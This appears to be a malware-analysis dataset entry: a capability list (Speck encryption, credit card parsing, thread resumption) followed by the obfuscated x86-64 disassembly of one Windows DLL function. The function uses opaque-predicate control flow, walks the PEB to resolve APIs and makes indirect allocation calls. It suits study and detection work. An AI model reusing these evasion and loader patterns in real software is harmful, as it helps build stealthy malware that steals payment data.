Function at 0x180001434
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using speck
Parse credit card information
Parse pe header
Resume thread
Terminate process
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x78
mov r13, qword [rbp + 0x58]
xor r8d, r8d
mov r12, qword [rbp + 0x58]
mov qword [rbp - 0x28], r8
lea r9d, [r8 + 0x3b]
mov edi, 0x53
mov ecx, 1
mov r10d, 0x37
mov r15d, 0x24
mov rbx, qword [0x18002f048]
movabs rax, 0x824a4e60b3262bc5
mov rsi, rbx
and esi, 0xa3
lea r14, [rbx - 0x153]
imul r14, rbx
mul r14
shr rdx, 8
imul rax, rdx, 0x1f7
sub r14, rax
sub r14b, 0x39
cmp r14b, 0x52
jae 0x180001513
movzx edx, r14b
movzx ecx, r14b
call fcn.1800066b0
mov r14b, al
xor r8d, r8d
lea r9d, [r8 + 0x3b]
jmp 0x1800017ab
mov edi, 0x53
jmp 0x180001479
mov edi, 0x53
jmp 0x18000146d
mov edi, 0x53
jmp 0x180001473
mov edi, 0x53
mov r15, rax
jmp 0x180002d92
mov ecx, 1
jmp 0x180001473
mov edi, 0x53
jmp 0x1800014fa
mov rdi, rax
jmp 0x180001473
cmp r14b, r15b
jne 0x18000152b
xor edx, edx
mov eax, 0x356
div rsi
lea r14d, [rbx + rax]
jmp 0x1800017ab
cmp r14b, 0x48
jne 0x180001552
mov r9d, 0x48
mov qword [rsp + 0x20], rsi
mov edx, r9d
mov r8, rbx
mov rcx, rbx
call fcn.180004954
mov rsi, rax
jmp 0x1800014c9
cmp r14b, 0x13
jae 0x18000156a
mov r8d, ebx
mov edx, esi
mov rcx, rbx
call fcn.180002e2c
jmp 0x180002d87
cmp r14b, 0xc9
jne 0x180001758
cmp rsi, 0x1d
ja 0x180001591
mov r8d, 0xc9
mov edx, ebx
mov rcx, rbx
call fcn.180002e2c
mov esi, eax
jmp 0x1800014c9
cmp rsi, 0x4e
jbe 0x1800015a5
mov r14d, 0x81
sub r14b, bl
jmp 0x1800017ab
cmp rsi, 0x50
jne 0x1800015b7
lea rax, [rbx + 0x7a]
and rbx, rax
jmp 0x1800017ab
cmp rsi, 4
jae 0x1800015da
mov edx, 0xc9
mov qword [rsp + 0x20], rbx
mov r8d, edx
mov r9, rbx
mov rcx, rbx
call fcn.180004954
jmp 0x180002d87
cmp rsi, 0x15
jbe 0x180001479
cmp rsi, rcx
jae 0x1800015f1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x18000158a
cmp rsi, 0xa
jae 0x18000160a
mov r8, rbx
mov edx, esi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x18000154a
cmp rsi, 0x58
jne 0x18000161c
imul rbx, rbx, 0x31e
jmp 0x1800017ab
cmp rsi, r9
jne 0x180001636
mov edx, 0xc9
mov r8, rbx
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x180002d87
cmp rsi, 0x21
jne 0x1800017ab
cmp rbx, 0x29
ja 0x180001656
mov rcx, rsi
mov edx, 0xc9
mov r8d, ecx
jmp 0x180001585
movabs rax, 0x85250a91f8e35435
cmp rbx, rax
jne 0x180001677
mov r15, qword gs:[0x60]
mov qword [rbp + 0x60], r15
jmp 0x1800017af
cmp rbx, 0x15
ja 0x18000168a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1800014c9
cmp rbx, 0x1a
ja 0x1800016a1
mov rdx, rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x180002d87
cmp rbx, 0x4b
jae 0x1800016c7
mov edx, 0x21
mov qword [rsp + 0x20], rbx
mov r9d, edx
mov r8d, edx
mov ecx, 0xc9
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x180002d87
cmp rbx, 0x2e
ja 0x1800016d5
mov r14b, 0xf9
jmp 0x1800017ab
cmp rbx, 0x34
jne 0x1800016eb
lea edx, [rbx - 0x13]
mov rcx, rbx
call fcn.1800066b0
jmp 0x180002d87
mov eax, 0x2a
cmp rbx, rax
jne 0x1800016fd
mov r14b, r8b
jmp 0x1800017ab
cmp rbx, 0x3c
jbe 0x180001479
mov eax, 0x11
cmp rbx, rax
jb 0x180001479
cmp rbx, 0x64
je 0x180001479
cmp rbx, 0x2c
jae 0x180001733
lea ecx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
jmp 0x1800014c9
cmp rbx, rcx
jne 0x180001743
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800014c6
cmp rbx, r10
jae 0x1800017ab
mov ecx, 0xc9
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x1800014c9
mov eax, 0x63
cmp r14b, al
jae 0x180001774
mov r8d, ebx
mov edx, ebx
mov rcx, rbx
call fcn.180002e2c
jmp 0x1800014c6
cmp r14b, 0x27
jne 0x180001783
mov qword [0x18002f040], r8
jmp 0x1800017ab
cmp r14b, 0x14
je 0x180001479
cmp r14b, 0x48
jb 0x180001479
cmp r14b, 0x30
je 0x180001479
cmp r14b, 0x42
jb 0x180001479
mov r15, qword [rbp + 0x60]
movabs rax, 0xaaaaaaaaaaaaaaab
mov rcx, rbx
mul rbx
shr rdx, 8
lea rax, [rdx + rdx*2]
xor edx, edx
shl rax, 7
sub rcx, rax
mov rax, rcx
mov ecx, 1
div rbx
mov r10, rax
cmp rsi, rdi
ja 0x18000146d
cmp rsi, 0x32
jne 0x180001806
mov edx, esi
movzx ecx, r14b
mov r8d, edx
call fcn.180002e2c
mov r15d, 0x24
jmp 0x180002d87
cmp rsi, 0x3e
jb 0x180001850
xor edx, edx
mov eax, 0x1e5
div r10
mov rax, rdx
xor edx, edx
div r10
mov rsi, rax
mov ebx, 0x19
mov rdi, rsi
mov eax, 0x4d
or rdi, 0x50
cmp rdi, rax
jne 0x18000195d
mov r8d, esi
mov edx, eax
mov rcx, rsi
call fcn.180002e2c
mov r14b, al
jmp 0x180001a6d
mov eax, 0x62
cmp rsi, rax
jne 0x180001868
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r14b, al
jmp 0x180001821
cmp rsi, r9
jne 0x18000187f
movzx edx, r14b
mov r8d, r10d
movzx ecx, r14b
call fcn.180002e2c
jmp 0x180001863
cmp rsi, 0x21
jne 0x18000190b
lea eax, [rsi + 0x3f]
cmp r10, rax
ja 0x18000146d
lea eax, [rsi + 0x3e]
cmp r10, rax
jb 0x1800018b6
xor edx, edx
mov eax, 0x144
div r10
sub r10, rax
mov qword [0x18002f018], r10
jmp 0x180001821
cmp r10, r9
ja 0x18000146d
cmp r10, 0x57
jbe 0x1800018d5
movzx ecx, r14b
mov edx, 0x21
call fcn.1800066b0
jmp 0x180001863
mov ebx, 0x19
test r10, r10
jne 0x1800018f0
mov rax, qword [r15 + 0x18]
mov r13, qword [rax + 0x30]
sub r13, 0x20
jmp 0x180001826
cmp r10, rbx
jbe 0x180001826
mov edx, r10d
mov ecx, 0x21
call fcn.1800066b0
jmp 0x1800017fb
cmp rsi, 0x45
jbe 0x180001924
movzx eax, r14b
lea rsi, [rax + 0x311]
xor rsi, rax
jmp 0x180001821
cmp rsi, 0x34
jb 0x180001937
movzx eax, sil
imul r14d, eax, 0x4f
jmp 0x180001821
cmp rsi, 0x2c
jb 0x180001821
movzx ecx, r14b
mov r9, rsi
mov r8, r10
mov qword [rsp + 0x20], rsi
mov rdx, r10
call fcn.180004954
jmp 0x1800017fb
cmp rdi, 0x40
jae 0x18000197a
movzx eax, r14b
imul rsi, rax, 0x3bb
add rsi, 0x3ce
jmp 0x180001a6d
cmp rdi, 0x43
jae 0x18000199b
movzx eax, r14b
mov ecx, 0x343
sub rcx, rax
and rcx, rdi
mov qword [0x18002f040], rcx
jmp 0x180001a6d
mov eax, 8
cmp rdi, rax
jae 0x1800019b8
lea rdi, [rsi + 0x113]
xor rdi, 0x2da
jmp 0x180001a6d
cmp rdi, 0x29
jne 0x1800019e0
mov r9, rdi
mov r8, rdi
mov rdx, rsi
movzx ecx, r14b
mov qword [rsp + 0x20], rcx
call fcn.180004954
mov r15d, 0x24
jmp 0x180002d82
mov ecx, 0x63
cmp rdi, rcx
mov ecx, 1
lea r8d, [rcx - 1]
lea r9d, [rcx + 0x3a]
lea r10d, [rcx + 0x36]
je 0x1800014e3
cmp rdi, 0x5c
jae 0x180001a14
movzx edx, r14b
movzx ecx, r14b
call fcn.1800066b0
jmp 0x180001a6a
cmp rdi, 0x71
jne 0x180001a24
mov rcx, qword [r13 + 0x30]
mov qword [rbp - 0x48], rcx
jmp 0x180001a71
cmp rdi, rax
je 0x1800014e3
cmp rdi, 0xa
jb 0x1800014e3
mov eax, 0x12
cmp rdi, rax
jne 0x180001a4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180001848
mov eax, 0x10
cmp rdi, rax
ja 0x180001a6d
movzx r9d, r14b
mov r8, rsi
movzx edx, r14b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rsi, rax
mov rcx, qword [rbp - 0x48]
xor edx, edx
mov eax, 0x2978f
div rsi
cmp dx, 0x14
jne 0x180001ae6
xor edx, edx
mov eax, 0x40464
div rdi
lea edx, [rax - 0x4d8f9bd]
call fcn.1800066b0
mov qword [rbp - 0x18], rax
xor edx, edx
movzx ecx, r14b
mov rax, rdi
div rcx
movabs rax, 0x12358e75d30336a1
mov rbx, rdx
mul rdx
mov eax, 0x2a
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 8
and ebx, 0x281
cmp rdi, rax
jne 0x180001bd1
movzx ecx, r14b
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x180001c1d
cmp dx, 0x42
je 0x180001a9a
mov eax, 0x36
cmp dx, ax
jbe 0x180001b0c
movzx ecx, dx
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
movzx eax, r14b
imul rdi, rax, 0x242
jmp 0x180001a9a
mov eax, 0x53
lea ecx, [rax - 0x52]
lea r8d, [rax - 0x53]
lea r9d, [rax - 0x18]
lea r10d, [rax - 0x1c]
cmp dx, ax
ja 0x18000150b
cmp dx, 0x55
jne 0x180001b43
mov r8d, edi
mov rdx, rsi
mov rcx, rsi
call qword [sym.imp.SHELL32.dll_ExtractIconW]
jmp 0x180001a9a
mov eax, 0x16
cmp dx, ax
jbe 0x180001b5d
movzx edx, dx
mov rcx, rdi
mov r8d, edx
call fcn.180002e2c
jmp 0x180001b9f
cmp dx, bx
jne 0x180001b7e
movzx edx, r14b
mov r9, rdi
mov r8, rdi
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call fcn.180004954
jmp 0x180001a9a
mov eax, 0x1e
cmp dx, ax
jb 0x180001ba7
movzx ecx, dx
mov r9d, ecx
movzx edx, r14b
mov r8d, ecx
mov qword [rsp + 0x20], rdi
call fcn.180004954
mov r14b, al
jmp 0x180001a9a
lea eax, [rdx - 0x11]
cmp ax, 0x41
ja 0x1800014e3
mov eax, 0x2f
cmp dx, ax
jne 0x180001a9a
mov rcx, rsi
mov edx, edi
call fcn.1800066b0
jmp 0x1800019d5
cmp rdi, 0x71
jne 0x180001beb
mov rcx, qword [rbp - 0x48]
lea edx, [rbx + 0x1de5f0ac]
call fcn.1800066b0
mov r12, rax
jmp 0x180001c1d
cmp rdi, 0x58
jae 0x180001c00
mov edx, ebx
mov rcx, rbx
call fcn.1800066b0
mov r14b, al
jmp 0x180001c1d
mov eax, 0x62
lea ecx, [rax - 0x61]
lea r8d, [rax - 0x62]
lea r9d, [rax - 0x27]
lea r10d, [rax - 0x2b]
cmp rdi, rax
jb 0x1800014e3
mov esi, 0xda
mov eax, 0x1b6
add esi, ebx
and si, ax
cmp r14b, 7
jae 0x180001c42
movzx edx, si
mov rcx, rdi
call fcn.1800066b0
mov rdi, rax
jmp 0x180001cac
cmp r14b, 0x21
jne 0x180001c64
xor edx, edx
movzx ecx, si
lea eax, [rdx + 0x21]
div rcx
mov eax, 0x64f
sub rax, rdx
mov qword [0x18002f030], rax
jmp 0x180001cac
cmp r14b, 0x1f
ja 0x180001c7f
movzx r8d, si
movzx edx, r14b
movzx ecx, r14b
call fcn.180002e2c
mov edi, eax
jmp 0x180001cac
mov ecx, 1
lea r8d, [rcx - 1]
lea r9d, [rcx + 0x3a]
lea r10d, [rcx + 0x36]
cmp r14b, 0x29
je 0x1800014e3
cmp r14b, 0xc9
jne 0x180001cb4
mov rax, qword [r15 + 0x18]
mov r13, qword [rax + 0x20]
sub r13, 0x10
mov r15d, 0x24
jmp 0x180001d1c
mov r15d, 0x24
cmp r14b, 0x52
jne 0x180001ccd
mov qword [0x18002f018], 0x13f4b
jmp 0x180001d1c
cmp r14b, r15b
jne 0x180001ce3
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
jmp 0x180001d1c
mov eax, 0x11
cmp r14b, al
jae 0x180001d08
mov r9, rdi
mov qword [rsp + 0x20], rdi
mov r8, rbx
mov rdx, rdi
mov rcx, rbx
call fcn.180004954
mov r14b, al
jmp 0x180001d1c
cmp r14b, 0x54
jne 0x180001d1c
imul rax, rdi, 0x147
mov qword [0x18002f010], rax
xor r8d, r8d
lea r10d, [r8 + 0x37]
test rbx, rbx
jne 0x180001d32
mov rsi, qword [r13 + 0x38]
mov qword [rbp - 0x40], rsi
jmp 0x180001d49
cmp rbx, r10
jbe 0x180001daa
lea rdi, [rbx - 0x1fe]
movzx eax, r14b
xor rdi, rax
mov rsi, qword [rbp - 0x40]
mov r9d, 0x3b
mov r15d, 0xfe4f
mov ecx, 1
sub r15w, di
cmp rbx, 0x3e
ja 0x1800014e3
mov rax, qword [rbp - 0x38]
test rbx, rbx
mov ecx, 0x26d7b
mov r11d, 0x3d
cmove rax, rcx
mov qword [rbp - 0x38], rax
movzx eax, r14b
imul r14d, eax, 0x6b
xor r14b, 0x2c
cmp rdi, r11
jne 0x180001eb8
movzx ecx, r14b
mov edx, ebx
call fcn.1800066b0
mov r14b, al
jmp 0x180001f49
mov eax, 0x16
cmp rbx, rax
jb 0x180001dcf
movzx edx, si
mov r8, rdi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r10d, [r8 + 0x37]
jmp 0x180001d45
cmp rbx, 0xc
jbe 0x180001de8
movzx edx, si
mov rcx, rdi
mov r8d, edx
call fcn.180002e2c
jmp 0x180002d82
cmp rbx, 0x25
je 0x180001d45
mov ecx, 1
lea r9d, [rcx + 0x3a]
cmp rbx, 0x15
jae 0x1800014d5
cmp rbx, 0x1a
ja 0x180001eaf
lea eax, [rcx + 0x50]
cmp rbx, rax
jbe 0x180001e22
movzx ecx, si
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
jmp 0x180001dc3
cmp rbx, 0x43
ja 0x1800014d5
cmp rbx, 0x5b
je 0x1800014d5
cmp rbx, r9
jbe 0x180001e4a
movzx ecx, r14b
mov rdx, rdi
mov r9d, ecx
mov r8d, ecx
jmp 0x180001e5d
cmp rbx, 0x35
jbe 0x180001e6f
movzx edx, r14b
mov r9, rbx
mov r8, rdi
mov rcx, rbx
movzx eax, si
mov qword [rsp + 0x20], rax
call fcn.180004954
jmp 0x180002d82
mov eax, 0x53
cmp rbx, rax
jb 0x180001e90
movzx r9d, r14b
mov r8, rdi
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x180002d82
mov eax, 0x60
cmp rbx, rax
je 0x1800014d5
lea ecx, [rax - 0x26]
movzx r14d, r14b
cmp rbx, rcx
lea ecx, [rax - 0x36]
cmove r14d, ecx
mov rsi, qword [rbp - 0x40]
jmp 0x180001d4f
cmp rdi, 0x1d
ja 0x180001ec7
movzx ecx, r14b
jmp 0x180001bc5
mov r10d, 0x22
cmp rdi, r10
ja 0x180001ef0
xor edx, edx
movzx ecx, r14b
mov eax, 0x19a
div rcx
xor rdx, 0x371
mov qword [section..data], rdx
jmp 0x180001f6a
mov ecx, 1
cmp rdi, 0x35
jbe 0x1800014dc
cmp rdi, 0x71
jne 0x180001f30
movzx eax, r15w
lea r9, [rbp - 0x38]
mov ecx, 0xfde2
lea rdx, [rbp - 0x28]
sub ecx, eax
mov r8, rbx
mov dword [rsp + 0x28], ecx
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0x1000
call qword [rbp - 0x18]
jmp 0x180001f49
mov eax, 0xd
cmp rdi, rax
ja 0x180001f56
movzx ecx, r14b
mov edx, edi
call fcn.1800066b0
movzx r15d, ax
xor r8d, r8d
lea r10d, [r8 + 0x22]
lea r11d, [r8 + 0x3d]
jmp 0x180001f6a
cmp rdi, 0x64
jbe 0x1800014dc
cmp rdi, 0x45
jb 0x1800014dc
add rdi, 0xffffffffffffff65
mov eax, 0x24
add rdi, rbx
or rdi, 0x281
cmp r15w, ax
jae 0x180001fa2
movzx edx, r15w
mov r8, rdi
mov r9d, edx
mov qword [rsp + 0x20], rdi
mov rcx, rdi
call fcn.180004954
jmp 0x180002077
mov r9d, 0x3b
cmp r15w, r9w
jae 0x180001fd5
mov r8d, ebx
mov edx, ebx
mov rcx, rdi
call fcn.180002e2c
xor edx, edx
mov eax, 0x2d4
div rbx
mov rax, rdx
xor edx, edx
div rbx
mov rdi, rdx
jmp 0x180002134
cmp r15w, r11w
jne 0x180001fe6
mov edx, r11d
mov rcx, rbx
jmp 0x180001bc7
mov edx, 0x20
lea ecx, [rdx - 0x1f]
cmp r15w, dx
je 0x1800014ea
lea eax, [rdx + 0x40]
cmp r15w, ax
ja 0x18000201b
xor rbx, 0x302
movzx eax, r15w
or rbx, rax
or rbx, 0xb5
jmp 0x1800020b2
mov eax, 0x39
cmp r15w, ax
ja 0x180002048
movzx eax, r15w
mov r9, rdi
mov qword [rsp + 0x20], rax
mov rcx, rdi
movzx r8d, r15w
movzx edx, r14b
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1800019d5
cmp r15w, r10w
jne 0x180002061
lea rax, [rdi - 0x22]
or rax, 0x276
mov qword [0x18002f010], rax
jmp 0x1800020b2
mov eax, 0x51
cmp r15w, ax
jae 0x180002080
movzx ecx, r14b
mov edx, edi
call fcn.1800066b0
movzx r15d, ax
jmp 0x180002134
cmp r15w, 0xe
jae 0x18000209c
movzx edx, r14b
mov r8d, ebx
movzx ecx, r14b
call fcn.180002e2c
jmp 0x1800019d5
mov eax, 0x23
cmp r15w, ax
jne 0x1800020bc
imul rbx, rdi, 0x42
add rbx, 0x19d
mov ecx, 0xfdde
jmp 0x18000215a
mov eax, 0x10
cmp r15w, ax
jae 0x1800020df
mov r8d, ebx
mov edx, edi
mov rcx, rdi
call fcn.180002e2c
xor r8d, r8d
mov ebx, eax
movzx r15d, r8w
jmp 0x180002137
mov ecx, 0xfdde
cmp r15w, cx
jne 0x180002112
mov eax, dword [rbp + 0x50]
lea rdx, [rbx + 0x26d7b]
mov r9, qword [rbp + 0x48]
lea rcx, [0x1800070f0]
mov r8, qword [rbp - 0x28]
add rax, rbx
mov qword [rsp + 0x20], rax
call fcn.180004954
jmp 0x180002134
mov r11d, 0x26
cmp r15w, r11w
jne 0x180002147
movzx edx, r14b
mov r9d, r11d
mov r8, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdi, rax
xor r8d, r8d
mov edx, 0x20
mov ecx, 0xfdde
lea r9d, [rdx + 0x1b]
jmp 0x18000215a
mov eax, 0x3a
lea r10d, [rax - 3]
cmp r15w, ax
je 0x180001504
mov eax, 0xd2
sub al, bl
or r14b, al
cmp rbx, 0x64
jbe 0x18000217d
movzx edx, r15w
movzx ecx, r14b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x1800019d5
cmp rbx, 0x1d
je 0x18000221e
mov r10d, 0x37
cmp rbx, 0x3c
ja 0x180001504
cmp rbx, 0x1f
jbe 0x1800021ac
movzx edx, r15w
mov r9, rdi
mov r8, rdi
jmp 0x1800019c7
cmp rbx, 0x33
jb 0x1800021bc
mov edx, ebx
mov rcx, rdi
jmp 0x180001bc7
cmp rbx, 0x29
jbe 0x1800021cd
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r14b, al
jmp 0x18000221e
mov eax, 0x1e
cmp rbx, rax
jne 0x1800021e4
mov qword [0x18002f048], 0x378
jmp 0x18000221e
test rbx, rbx
jne 0x18000221e
cmp r15w, cx
jne 0x18000220c
lea rax, [rbp + 0x58]
mov r9d, edx
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x38]
or rcx, 0xffffffffffffffff
call r12
jmp 0x18000221e
mov eax, 0x4d
lea ecx, [rax - 0x4c]
cmp r15w, ax
jbe 0x1800014e3
movabs rax, 0x63b0cda236e1c7bb
mov rbx, rdi
mul rdi
lea rax, [rdi + 0x59]
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 9
and rbx, rax
mov eax, 8
lea r9d, [rax + 0x33]
cmp rdi, rax
jae 0x180002263
or rdi, 0x2d3
mov qword [0x18002f030], rdi
jmp 0x18000236f
mov ecx, 1
lea r8d, [rcx - 1]
lea r10d, [rcx + 0x36]
cmp rdi, 0x5e
je 0x1800014e3
cmp rdi, 0x18
je 0x1800014e3
lea eax, [rcx + 2]
cmp rdi, rax
jb 0x1800014e3
cmp rdi, 0x59
je 0x1800014e3
cmp rdi, r9
jne 0x1800022ab
movzx ecx, r15w
mov edx, r9d
jmp 0x180001bc7
cmp rdi, 0x48
jae 0x1800022d7
movzx r9d, r15w
mov r8, rdi
movzx ecx, r14b
mov rdx, rbx
mov qword [rsp + 0x20], r9
call fcn.180004954
mov rbx, rax
mov r9d, 0x3b
jmp 0x18000236f
cmp rdi, 0xffffffffffffffd7
jne 0x180002362
cmp rbx, 0x2c
jae 0x180002305
movzx r9d, r14b
mov r8, rbx
movzx ecx, r15w
mov rdx, rdi
mov qword [rsp + 0x20], r9
call fcn.180004954
movzx r15d, ax
jmp 0x1800022cc
mov edi, 0x53
cmp rbx, rdi
jne 0x180002321
movzx ecx, r14b
mov edx, edi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea r15d, [rdi + 0x4d]
jmp 0x180002333
jbe 0x18000233b
movzx ecx, r15w
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15d, 0xf6
mov r9d, 0x3b
jmp 0x180002374
mov eax, 0x39
cmp rbx, rax
jne 0x180002356
movzx r8d, r15w
lea rcx, [rax - 0x62]
movzx edx, r14b
jmp 0x1800017f6
cmp rbx, 0x30
jne 0x180002374
mov qword [rbp - 0x20], rsi
jmp 0x180002374
cmp rdi, 0x52
jae 0x18000236f
mov r14b, r15b
xor r14b, 0xc6
mov edi, 0x53
movzx ecx, r15w
mov eax, 0x1e
mov esi, ecx
xor rsi, 0x12b
cmp r15w, ax
ja 0x180002399
movzx edx, r15w
movzx ecx, r14b
jmp 0x180001901
mov eax, 0x33
lea r8d, [rax - 0x33]
lea r10d, [rax + 4]
cmp r15w, ax
je 0x1800014fa
cmp r15w, 0x14
jne 0x1800023d6
movzx ecx, r14b
mov r9, rsi
mov r8, rbx
mov qword [rsp + 0x20], rbx
mov rdx, rsi
call fcn.180004954
mov rbx, rax
jmp 0x1800025b4
mov r10d, 0x22
cmp r15w, r10w
jae 0x180002401
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movzx r15d, r15w
mov r14b, al
mov eax, 0x157
imul r15d, eax
xor r15w, si
jmp 0x1800025b4
mov ecx, 0xfdde
cmp r15w, cx
jne 0x18000259d
mov eax, 0x16
cmp r14b, al
jae 0x18000242d
movzx ebx, r14b
sub rbx, rsi
or rbx, 0x263
jmp 0x1800025ba
cmp r14b, 0x3c
ja 0x180002447
mov r8d, ebx
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_ExtractIconW]
jmp 0x1800017fb
mov r11d, 0xff
cmp r14b, r11b
jne 0x180002511
cmp rbx, 0x19
jb 0x180001468
cmp rbx, 9
ja 0x18000247c
mov r9d, r11d
mov r8d, r11d
mov edx, esi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rsi, rax
jmp 0x1800025b4
lea rax, [rbx - 0x25]
mov edx, 0x2d
cmp rax, rdx
ja 0x180001468
cmp rbx, 0x30
jne 0x1800024a0
lea eax, [rdx - 0x1d]
mov qword [rbp - 0x38], rax
jmp 0x180002663
cmp rbx, rdi
jbe 0x1800024b5
mov qword [0x18002f028], 0xffffffffffff02f7
jmp 0x1800025ba
cmp rbx, 0x18
jb 0x180001468
mov eax, 0x61
cmp rbx, rax
jbe 0x1800024dd
mov r8d, ebx
mov rdx, rbx
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_ExtractIconW]
jmp 0x1800023ce
mov eax, 0x23
cmp rbx, rax
jne 0x1800024f1
mov edx, ecx
mov rcx, rsi
jmp 0x180001901
cmp rbx, 0x15
jae 0x1800025ba
mov r8d, ecx
mov edx, ecx
mov rcx, rsi
call fcn.180002e2c
movzx r15d, ax
jmp 0x1800025b4
mov r11d, 0x36
cmp r14b, 0x19
jae 0x180002552
movabs rax, 0x6a63bd81a98ef607
mov rcx, rsi
mul rsi
shr rdx, 5
imul rax, rdx, 0x4d
sub rcx, rax
movabs rax, 0x7b301ecc07b301ed
imul rcx, rsi
mul rcx
mov rbx, rdx
shr rbx, 6
jmp 0x1800025c0
cmp r14b, r11b
jne 0x180002578
mov qword [rsp + 0x20], rcx
mov r9, rcx
mov rcx, rsi
mov r8, rbx
mov rdx, r11
call fcn.180004954
mov rbx, rax
mov r15d, 0xa5
jmp 0x1800025b4
mov ecx, 1
cmp r14b, 0x56
jbe 0x18000146d
cmp r14b, 0x50
jb 0x18000146d
cmp r14b, 0x48
jbe 0x18000146d
jmp 0x1800025c0
mov eax, 0x4f
cmp r15w, ax
jae 0x1800025ba
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r14b, al
mov r10d, 0x22
mov r11d, 0x36
cmp rbx, 0x4e
jbe 0x1800025eb
movzx eax, r15w
mov r9, rsi
movzx r8d, r14b
mov rcx, rbx
movzx edx, r14b
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r14b, al
jmp 0x180002756
mov eax, 8
cmp rbx, rax
jne 0x18000260b
movzx edx, r14b
movzx ecx, r14b
call fcn.1800066b0
movzx r15d, ax
jmp 0x180002756
cmp rbx, 0x52
jb 0x180002625
movzx ecx, r14b
mov edx, ebx
mov r8d, ecx
call qword [sym.imp.KERNEL32.dll_HeapSize]
jmp 0x1800017fb
cmp rbx, 0x45
jbe 0x18000265d
movzx ecx, r15w
mov rdx, rsi
mov r8d, ecx
movzx r9d, r14b
mov qword [rsp + 0x20], rcx
call fcn.180004954
movzx r15d, ax
xor edx, edx
mov eax, 0x223
div rbx
mov rsi, rdx
or rsi, 0x13
jmp 0x180002756
cmp rbx, 0x30
jne 0x180002696
movzx r9d, r14b
lea rax, [rbp + 0x58]
sub r9d, 0x1a
mov qword [rsp + 0x20], rax
and r9d, 0x95
lea r8, [rbp - 0x38]
sub r9d, 0x81
lea rdx, [rbp - 0x20]
or rcx, 0xffffffffffffffff
call r12
jmp 0x180002756
cmp rbx, 0x15
jae 0x1800026be
mov edx, ebx
mov rcx, rsi
call fcn.1800066b0
mov eax, 0xef
movzx ecx, si
imul ecx, eax
sub cx, r15w
movzx r15d, cx
jmp 0x180002756
cmp rbx, 0x5a
jne 0x1800026da
movzx edx, r15w
mov r8, rsi
movzx ecx, r15w
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
jmp 0x180002756
cmp rbx, 0x50
je 0x180002756
cmp rbx, 0x35
jb 0x1800026f1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x18000271f
mov eax, 0x60
cmp rbx, rax
ja 0x180002756
lea ecx, [rax - 0x5f]
lea r8d, [rax - 0x60]
lea r9d, [rax - 0x25]
cmp rbx, 0xa
jbe 0x18000146d
cmp rbx, r11
jb 0x180002724
movzx ecx, r14b
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rsi, eax
jmp 0x180002756
lea rax, [rbx - 0x1c]
cmp rax, r10
mov r10d, 0x37
ja 0x180001473
cmp rbx, 0x43
jbe 0x180002756
xor edx, edx
movzx ecx, r14b
mov rax, rsi
div rcx
and edx, 0x2cd
mov qword [0x18002f040], rdx
mov ebx, 0x18372
sub rbx, rsi
cmp rbx, 7
jne 0x1800027a7
mov edx, esi
mov rcx, rbx
call fcn.1800066b0
mov rsi, rax
mov r15, qword [rbp - 0x30]
xor edx, edx
mov eax, 0x332
div rbx
movzx eax, r14b
mov r11d, 0x31
movzx edi, dx
imul edi, eax
cmp di, r11w
jne 0x1800028aa
mov ecx, r11d
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1800019d5
mov eax, 0x26
cmp rbx, rax
ja 0x1800027c9
movzx edx, r14b
mov r8d, esi
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov rbx, rax
jmp 0x18000288d
mov ecx, 1
lea r8d, [rcx - 1]
lea r9d, [rcx + 0x3a]
lea r10d, [rcx + 0x36]
cmp rbx, 0x2e
jbe 0x180001473
lea eax, [rcx + 0x2e]
cmp rbx, rax
jb 0x180001473
lea eax, [rcx + 0x1f]
cmp rbx, rax
je 0x180001473
